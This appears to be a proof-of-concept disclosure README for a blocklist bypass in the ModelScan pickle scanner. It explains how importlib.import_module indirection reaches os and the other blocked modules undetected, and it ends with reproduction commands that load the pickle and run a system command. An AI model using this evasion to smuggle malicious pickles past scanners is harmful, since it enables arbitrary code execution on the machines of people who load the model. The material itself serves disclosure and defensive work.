PoC: ModelScan Blocklist Bypass via importlib.import_module

Target: protectai/modelscan CWE: CWE-693 (Protection Mechanism Failure)

Vulnerability

ModelScan's pickle scanner maintains a blocklist of 21 dangerous modules (os, subprocess, shutil, etc.). However, importlib is not on the blocklist. A pickle using importlib.import_module('os') bypasses all scanning and returns the full os module, enabling arbitrary code execution.

The bypass defeats the entire blocklist — all 21 blocked modules can be imported via importlib.import_module() indirection.

Files

poc_importlib_bypass.pkl — 36-byte bypass payload (scans clean)
poc_importlib_bypass.py — PoC generator script
reproduce.sh — Full reproduction script

Quick Reproduce

pip install modelscan
python3 poc_importlib_bypass.py
modelscan -p poc_importlib_bypass.pkl  # "No issues found!"
python3 -c "import pickle; m=pickle.load(open('poc_importlib_bypass.pkl','rb')); m.system('id')"